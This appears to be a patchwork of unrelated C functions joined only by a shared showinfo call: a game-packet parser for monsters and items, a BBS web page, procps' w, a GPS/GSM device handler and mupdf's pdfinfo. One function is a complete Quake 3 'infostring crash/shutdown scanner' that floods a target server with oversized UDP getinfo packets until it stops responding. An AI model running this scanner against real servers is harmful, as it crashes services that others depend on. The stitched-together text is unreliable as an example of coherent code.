type:%s",_monster.type,_monster.id,_monster.quality,_monster.total_sockets,_monster.sockets_link,_itemTypeStr); if(_monster.type==OBJ_MONSTER) showinfo("monster type:%d, %s",_monster.type,_objTypeStr); } /* if(_action.count<25) //can be box,wp,door,flask,jewel && _monster.type==OBJ_ITEM) //special object { if(box_status==1) //opened boxpe _monster.id=0;[0 else if(box_status==0) _monster.type = OBJ_BOX; else if(big_box_status==1) //opened box _monster.id=0; else if(big_box_status==0) _monster.type = OBJ_BIGBOX; else if(_monster.type == OBJ_NOT_SURE) _monster.type = OBJ_DOOR; } if(_monster.id!=0) AddMonster(&_monster); box_status=-1; big_box_status=-1; return 0; */ if(_monster.id!=0) { _monster.type=GetObjectType(_objTypeStr); AddMonster(&_monster); memset(&_monster,0,sizeof(MONSTER)); _itemTypeStr[0]=0; _objTypeStr[0]=0; // showinfo("add 1, type:%d", _monster.type); } // showinfo("total colore:%d", blue+green+red); socket_count=0; blue=0;green=0;red=0; } if(aPacket==NULL && len==1) //from total number of sockets call { socket_count=1; return 0; } if(socket_count>0) socket_count++; switch(socket_count) { case 2: case 4: case 6: case 8: case 10: case 12: if(aPacket[0]==3) blue=1; if(aPacket[0]==2) green=1; if(aPacket[0]==1) red=1; // showinfo("socket_count:%d,color: %d",socket_count,aPacket[0]); if(socket_count>=_monster.total_sockets*2) socket_count=0; break; } switch(_action.count) { case 1: _monster.object_type_id = htonl(*((DWORD*)(aPacket))); _objTypeStr[0]=0; readObjectType(_monster.object_type_id); break; case 2: _monster.type=GetObjectType(_objTypeStr); // showinfo("%d, %s",_objTypeStr); // showinfo("%d, %s",_monster.type,_objTypeStr); _monster.id=htons(*((WORD*)(aPacket+2))); sprintf_s(str,"id: %x",_monster.id); break; case 4: _monster.pos.x = htons(*((WORD*)(aPacket+2))); sprintf_s(str,"pos.x: %x",_monster.pos.x); break; case 5: _monster.pos.y = htons(*((WORD*)(aPacket+2))); sprintf_s(str,"pos.y: %x",_monster.pos.y); // showinfo("new monster,id:%x,x=%d,y=%d",_monster.id,_monster.pos.x,_monster.pos.y); break; case 7: if(_monster.type==OBJ_PLAYER && _player.id==0) //player { _player.id=_monster.id; _player.pos.x=_monster.pos.x; _player.pos.y=_monster.pos.y; strcpy_s(str,"this is player"); showinfo("player id:%x",_player.id); } break; case 8: if(!(aPacket[0]==0x3f && aPacket[1]==0x80 && aPacket[2]==0 && aPacket[3]==0)) //unique { //_monster.quality = MONSTER_UNIQUE; } break; case 11: // if(len==1) _monster.type=OBJ_ITEM; // if(len==2) _monster.type=OBJ_MONSTER; // if(len==4) _monster.type=OBJ_NOT_SURE; //door,wp,big coffin break; case 12: if(len==1 && _monster.type==OBJ_CHEST) { box_status=aPacket[0]; if(box_status==1) _monster.id=0; } break; case 14: if(_monster.type==OBJ_ITEM && len==4) { _monster.item_type_id = htonl(*((DWORD*)(aPacket))); readItemType(_monster.item_type_id); } break; case 16: if(len==1 && _monster.type==OBJ_CHEST) { big_box_status=aPacket[0]; if(big_box_status==1) _monster.id=0; } break; case 24: break; if(_monster.type == OBJ_ITEM) { if(len==1 && aPacket[0]==2) { _monster.quality=ITEM_RARE; // UpdateMonster(&_monster); } if(len==1 && aPacket[0]==1) { _monster.quality=ITEM_MAGIC; // UpdateMonster(&_monster); } } break; case 50: // _monster.type = OBJ_MONSTER; strcpy_s(str,"should be monster"); // UpdateMonster(&_monster); break; } FormatOutput((char*)aPacket,_tempbuf,len); sprintf_s(_tempbuf,"%s *** %s (%d) ,type:%d",_tempbuf,str,_action.count,_monster.type); // showinfo(_tempbuf); return 0; }
int main() { FILE *fp; char log[STRLEN],id[14]; init_all(); modify_mode(u_info,DIGEST+20000); //bluetent printf("<script language=JavaScript src=/scrolldown.js></script>"); printf("<body background=%s bgproperties=fixed>",mytheme.bgpath); strsncpy(id, getparm("id"), 13); char *id2=trim(id); if(strcmp("",id2)) {//属于查找文集的 struct userec *x; x=getuser(id2); if(x==0) { showinfo("该id不存在"); return 1; } char buf[256]; sprintf(buf,"0Announce/PersonalCorpus/%c/%s/.Names",toupper(x->userid[0]),x->userid); FILE *fp=fopen(buf,"r"); if(fp==0) { sprintf(buf,"%s尚未创建个人文集,<a href=bbspstmail?userid=%s&title=快去建个人文集吧!>发信让其快建啦</a>",x->userid,x->userid); showinfo(buf); return 1; } sprintf(buf,"bbs0an?path=/PersonalCorpus/%c/%s",toupper(x->userid[0]),x->userid); redirect(buf); return 0; } /*thunder 个人文集*/ printf("<font size=3><center>%s个人文集库</center></font><br><hr>",BBSNAME); printf("展示自我,搭建属于自己的温馨网上家园,本站个人文集库为您提供无限动力!"); if((currentuser.userlevel & PERM_LOGINOK) && !(currentuser.userlevel&PERM_PERSONAL)) printf("<a href=createpc>创建我的文集</a><br>"); printf("<br>如何建设,管理,宣传自己的文集,欢迎访问<a href=bbsdoc?board=PersonalCorpus>个人文集经验交流区</a>"); printf("<center>"); int i=0,j,c=0,a[]={10,16}; for(i=0;i<2;i++) { printf("<br>"); for(j=0;j<a[i];j++,c++) printf("<a href=bbs0an?path=/PersonalCorpus/%c> --%c-- </a> ",'A'+c,'A'+c); } printf(" <form action=bbspc method=post>\ 查找<input style='height:20px; border:1px solid #404040' type=text name=id maxlength=13 size=13 onmousemove='this.focus()'>的个人文集.</form>\ </center>\ "); if (0 && HAS_PERM(PERM_POST)) { printf("<p><center><a href=bbsdoc?board=PersonalCorpus>精彩文集</a></center></p>"); printf("<p style=\"text-align:center\">用下载包恢复文集</p>"); printf("<p><center><iframe border=\" 0\" scrolling=\" no\" style=\" border:none; height:40px; width:500px; margin: 0px auto\" src=\" bbsupload?board=*restorepc\" ></iframe></center></p>"); } /* char buf[PATHLEN]; char tmpfile[STRLEN]; int index=1; fp=fopen("0Announce/PersonalCorpus/pctop","r"); if(fp!=NULL) { fgets(buf, 128, fp); printf("访问量排行TOP50(访问量:人次),截至日期:%s<table><tr>",buf); int count=0; char pctitle[STRLEN]; for(i=0;i<3;i++) { printf("<td valign=top>"); for(j=0;j<20;j++) { if(fgets(buf, 128, fp)==0) goto E; sscanf(buf,"%d %s",&count,id); getpctitle (id, pctitle); printf("%2d <a href=bbs0an?path=/PersonalCorpus/%c/%s>%s</a> %s<font color=green>%d</font><br>",index,toupper(id[0]),id,pctitle,id,count); index++; } printf("</td>"); } } E: if(j!=20) printf("</td>"); printf("</tr></table>"); sprintf(tmpfile,"tmp/%d.pc",getpid()); sprintf(buf, "wc -l 0Announce/PersonalCorpus/Log > %s" ,tmpfile); system(buf); fp=fopen(tmpfile, "r"); if(fp==0) { showinfo("个人文集创建日志不存在"); return 1; } i=0; fscanf(fp," %d ",&i); printf("<br>本站现有文集用户总数:%d,最新建立文集的50位网友如下",i); fclose(fp); sprintf(buf, " tail -n 50 0Announce/PersonalCorpus/Log | tac > %s" ,tmpfile); system(buf); fp=fopen(tmpfile, "r"); if(fp==0) { showinfo("个人文集创建日志不存在"); return 1; } char user[14],date[14],name[40]; index=0; printf("<table cellspacing=1 cellpadding=2 width=90% border=0 >\n"); printf("<tr bgcolor=%s class=title> <td align=middle width=30>序号</td> <td align=middle width=*>文集名称</td> <td align=middle>作者</td> <td align=middle >创建日期</td> </tr>",mytheme.bar); while(1) { if(fgets(buf, 128, fp)==0) break; sscanf(buf,"%s %s %s ",user, date,name); index++; printf("<tr> <td align=middle width=30>%d</td> <td><a href=bbs0an?path=/PersonalCorpus/%c/%s> %s</a></td> <td align=middle><a href=bbsqry?userid=%s>%s</a></td> <td align=middle>%s</td> </tr>",index,toupper(user[0]),user,name,user,user,date); if(index==100) break; } printf("</table>"); fclose(fp); unlink(tmpfile); printf("<br>注:只显示最新建立50位网友的个人文集."); */ }
int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd, i, len, slen, from = 700, to = BUFFSZ - GETINFOSZ, jumps = 1, sent = 0; u_short port; u_char bof[BUFFSZ + 1], buff[BUFFSZ + 1], *p; setbuf(stdout, NULL); fputs("\n" "Quake 3 engine infostring crash/shutdown scanner "VER"\n" "by Luigi Auriemma\n" "e-mail: [email protected]\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 3) { printf("\n" "Usage: %s [options] <server> <port>\n" "\n" "Options:\n" "-f FROM start the scan from byte FROM (default %d)\n" "-t TO finish the scan at byte TO (default %d)\n" "-j JUMPS the number of bytes to increment for each scan.\n" " Default value is %d, meaning that if the scan starts from %d it will\n" " send getinfo followed by %d bytes, then %d, %d, %d and so on until %d\n" "\n", argv[0], from, to, jumps, from, from, from + jumps, from + (jumps * 2), from + (jumps * 3), to); exit(1); } #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif argc -= 2; for(i = 1; i < argc; i++) { switch(argv[i][1]) { case 'f': from = atoi(argv[++i]); break; case 't': to = atoi(argv[++i]); break; case 'j': jumps = atoi(argv[++i]); break; default: { printf("\nError: wrong command-line argument (%s)\n\n", argv[i]); exit(1); } } } port = atoi(argv[argc + 1]); peer.sin_addr.s_addr = resolv(argv[argc]); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); fputs("- request informations:\n", stdout); SEND(INFO, sizeof(INFO) - 1); RECVT; buff[len] = 0x00; showinfo(buff); fputs("- getinfo crash/shutdown scan:\n\n", stdout); memcpy(bof, GETINFO, GETINFOSZ); p = bof + GETINFOSZ; if(from > to) from = to; for(i = 0; i < from; i++) *p++ = 'a'; slen = p - bof; for(;;) { printf(" packet length: %d\r", slen); SEND(bof, slen); sent++; if(timeout(sd) < 0) break; RECV; slen += jumps; if((slen - GETINFOSZ) > to) { slen -= jumps; break; } else if(slen > BUFFSZ) { printf("\n\n- max local buffer size (%d) reached", BUFFSZ); slen -= jumps; break; } for(i = 0; i < jumps; i++) *p++ = 'a'; } if(!sent) { fputs("\n\nError: recheck your options because I have sent no packets, probably you have chosen too big values\n\n", stdout); close(sd); exit(1); } printf("\n\n- last UDP packet sent was %d bytes (jumps = %d)", slen, slen - GETINFOSZ); fputs("\n- check server:\n", stdout); SEND(INFO, sizeof(INFO) - 1); if(timeout(sd) < 0) { fputs("\nServer IS vulnerable!!!\n\n", stdout); } else { fputs("\nServer doesn't seem vulnerable\n\n", stdout); } close(sd); return(0); }
/***** main */ int main(int argc, char **argv) { char *user = NULL; utmp_t *u; struct winsize win; int header=1, longform=1, from=1, args, maxcmd=80, ch; #ifndef W_SHOWFROM from = 0; #endif for (args=0; (ch = getopt(argc, argv, "hlusfV")) != EOF; args++) switch (ch) { case 'h': header = 0; break; case 'l': longform = 1; break; case 's': longform = 0; break; case 'f': from = !from; break; case 'V': display_version(); exit(0); case 'u': ignoreuser = 1; break; default: printf("usage: w -hlsufV [user]\n" " -h skip header\n" " -l long listing (default)\n" " -s short listing\n" " -u ignore uid of processes\n" " -f toggle FROM field (default %s)\n" " -V display version\n", FROM_STRING); exit(1); } if ((argv[optind])) user = (argv[optind]); if (ioctl(1, TIOCGWINSZ, &win) != -1 && win.ws_col > 0) maxcmd = win.ws_col; if (maxcmd < 71) { fprintf(stderr, "%d column window is too narrow\n", maxcmd); exit(1); } maxcmd -= 29 + (from ? 16 : 0) + (longform ? 20 : 0); if (maxcmd < 3) fprintf(stderr, "warning: screen width %d suboptimal.\n", win.ws_col); procs = readproctab(PROC_FILLCMD | PROC_FILLUSR); if (header) { /* print uptime and headers */ print_uptime(); printf("USER TTY "); if (from) printf("FROM "); if (longform) printf(" LOGIN@ IDLE JCPU PCPU WHAT\n"); else printf(" IDLE WHAT\n"); } utmpname(UTMP_FILE); setutent(); while ((u=getutent())) { if (u->ut_type == USER_PROCESS && (user ? !strncmp(u->ut_user, user, USERSZ) : *u->ut_user)) showinfo(u, longform, maxcmd, from); } endutent(); return 0; }
static void msg( void *plcdmsg ) { LCD_MSG * plcd_msg = (LCD_MSG* )plcdmsg; char ch,buf[100]; uint32_t i; void *pmsg; if( plcd_msg->id == LCD_MSG_ID_GPS ) { if( ( gps_fixed_sec == 0 ) && ( plcd_msg->info.gps_rmc.gps_av == 'A' ) ) { gps_fixed_sec = rt_tick_get( ) * 10 / 1000; test_flag|=TEST_BIT_GPS; sprintf( buf, "%02d:%02d", gps_fixed_sec / 60, gps_fixed_sec % 60 ); lcd_asc0608( 0, 8, buf, LCD_MODE_SET ); i=sprintf(buf,"AT%%TTS=2,3,5,\"475053D2D1B6A8CEBB\"\r\n",ch+0x30); buf[i]=0; pmsg=rt_malloc(i+1); if(pmsg!=RT_NULL) { memcpy(pmsg,buf,i+1); rt_mb_send(&mb_tts,(rt_uint32_t)pmsg); } } year=plcd_msg->info.gps_rmc.year; month=plcd_msg->info.gps_rmc.month; day= plcd_msg->info.gps_rmc.day; hour= plcd_msg->info.gps_rmc.hour; minute= plcd_msg->info.gps_rmc.minitue; sec= plcd_msg->info.gps_rmc.sec; time_set(hour,minute,sec); date_set(year,month,day); sprintf( buf, "%c%02d-%02d %02d:%02d:%02d", plcd_msg->info.gps_rmc.gps_av,month,day,hour,minute,sec ); lcd_asc0608( 122 - 6 * 15, 8, buf, LCD_MODE_SET ); } if( plcd_msg->id == LCD_MSG_ID_GSM ) { if( plcd_msg->info.payload[0] == 1 ) /*通话*/ { rt_kprintf( "\r\nIncoming Call" ); pscr = &scr_2_call; pscr->show( &scr_1_idle ); } } if(plcd_msg->id == LCD_MSG_ID_GPRS) { gprs_ok_past_sec=rt_tick_get()/100; test_flag|=TEST_BIT_GPRS; } if(plcd_msg->id == LCD_MSG_ID_MEMS) { mems_status=plcd_msg->info.payload[0]; } if(plcd_msg->id == LCD_MSG_ID_CAM) { ch=plcd_msg->info.payload[0]; switch(ch) { case 1: test_flag|=TEST_BIT_CAM1; break; case 2: test_flag|=TEST_BIT_CAM2; break; case 3: test_flag|=TEST_BIT_CAM3; break; case 4: test_flag|=TEST_BIT_CAM4; break; } if(plcd_msg->info.payload[1]==SUCCESS) { i=sprintf(buf,"AT%%TTS=2,3,5,\"C5C4D5D5%02xD5FDB3A3\"\r\n",ch+0x30); cam_ch[ch-1]=0x30+ch; lcd_asc0608( 122 - 6*8-4, 24, cam_ch, LCD_MODE_SET ); } else { i=sprintf(buf,"AT%%TTS=2,3,5,\"C5C4D5D5%02xD2ECB3A3\"\r\n",ch+0x30); } buf[i]=0; pmsg=rt_malloc(i+1); if(pmsg!=RT_NULL) { memcpy(pmsg,buf,i+1); rt_mb_send(&mb_tts,(rt_uint32_t)pmsg); } } if(plcd_msg->id == LCD_MSG_ID_ICCARD) { iccard_beep_timeout=10; card_status=plcd_msg->info.payload[0]; if(card_status==IC_PLUG_OUT) { i=sprintf(buf,"AT%%TTS=2,3,5,\"4943BFA8B0CEB3F6\"\r\n\0");/*IC卡拔出*/ pmsg=rt_malloc(i); if(pmsg!=RT_NULL) { memcpy(pmsg,buf,i); rt_mb_send(&mb_tts,(rt_uint32_t)pmsg); } } if(card_status==IC_READ_OK) { i=sprintf(buf,"AT%%TTS=2,3,5,\"4943BFA8D5FDB3A3\"\r\n\0"); /*IC卡正常*/ pmsg=rt_malloc(i); if(pmsg!=RT_NULL) { memcpy(pmsg,buf,i); rt_mb_send(&mb_tts,(rt_uint32_t)pmsg); } } if(card_status==IC_READ_ERR) { i=sprintf(buf,"AT%%TTS=2,3,5,\"4943BFA8B4EDCEF3\"\r\n\0"); /*IC卡错误*/ pmsg=rt_malloc(i); if(pmsg!=RT_NULL) { memcpy(pmsg,buf,i); rt_mb_send(&mb_tts,(rt_uint32_t)pmsg); } } test_flag|=TEST_BIT_ICCARD; } if(plcd_msg->id == LCD_MSG_ID_RTC) { memset(buf,0,32); if(plcd_msg->info.payload[0]==SUCCESS) { i=sprintf(buf,"AT%%TTS=2,3,5,\"525443D5FDB3A3\"\r\n",ch+0x30); test_flag|=TEST_BIT_RTC; rtc_ok=1; } else { i=sprintf(buf,"AT%%TTS=2,3,5,\"525443D2ECB3A3\"\r\n",ch+0x30); } rt_kprintf("\r\nRTC len=%d\r\n",i); buf[i]=0; pmsg=rt_malloc(i+1); if(pmsg!=RT_NULL) { memcpy(pmsg,buf,i+1); rt_mb_send(&mb_tts,(rt_uint32_t)pmsg); } } if(plcd_msg->id == LCD_MSG_ID_CSQ) { gsm_csq=plcd_msg->info.payload[0]; rt_kprintf("\r\ncsq=%d",gsm_csq); } if(test_flag==TEST_BIT_ALL) { i=sprintf(buf,"AT%%TTS=2,3,5,\"B2E2CAD4CDEAB3C9\"\r\n"); buf[i]=0; pmsg=rt_malloc(i+1); if(pmsg!=RT_NULL) { memcpy(pmsg,buf,i+1); rt_mb_send(&mb_tts,(rt_uint32_t)pmsg); } } showinfo(); }
int main(int argc, char **argv) { enum { NO_FILE_OPENED, NO_INFO_GATHERED, INFO_SHOWN } state; char *filename = ""; char *password = ""; int show = ALL; int c; while ((c = fz_getopt(argc, argv, "mfispxd:")) != -1) { switch (c) { case 'm': if (show == ALL) show = DIMENSIONS; else show |= DIMENSIONS; break; case 'f': if (show == ALL) show = FONTS; else show |= FONTS; break; case 'i': if (show == ALL) show = IMAGES; else show |= IMAGES; break; case 's': if (show == ALL) show = SHADINGS; else show |= SHADINGS; break; case 'p': if (show == ALL) show = PATTERNS; else show |= PATTERNS; break; case 'x': if (show == ALL) show = XOBJS; else show |= XOBJS; break; case 'd': password = fz_optarg; break; default: infousage(); break; } } if (fz_optind == argc) infousage(); setcleanup(local_cleanup); state = NO_FILE_OPENED; while (fz_optind < argc) { if (strstr(argv[fz_optind], ".pdf") || strstr(argv[fz_optind], ".PDF")) { if (state == NO_INFO_GATHERED) { printglobalinfo(); showinfo(filename, show, "1-"); closexref(); } closexref(); filename = argv[fz_optind]; printf("%s:\n", filename); openxref(filename, password, 0); gatherglobalinfo(); state = NO_INFO_GATHERED; } else { if (state == NO_INFO_GATHERED) printglobalinfo(); showinfo(filename, show, argv[fz_optind]); state = INFO_SHOWN; } fz_optind++; } if (state == NO_INFO_GATHERED) { printglobalinfo(); showinfo(filename, show, "1-"); } closexref(); }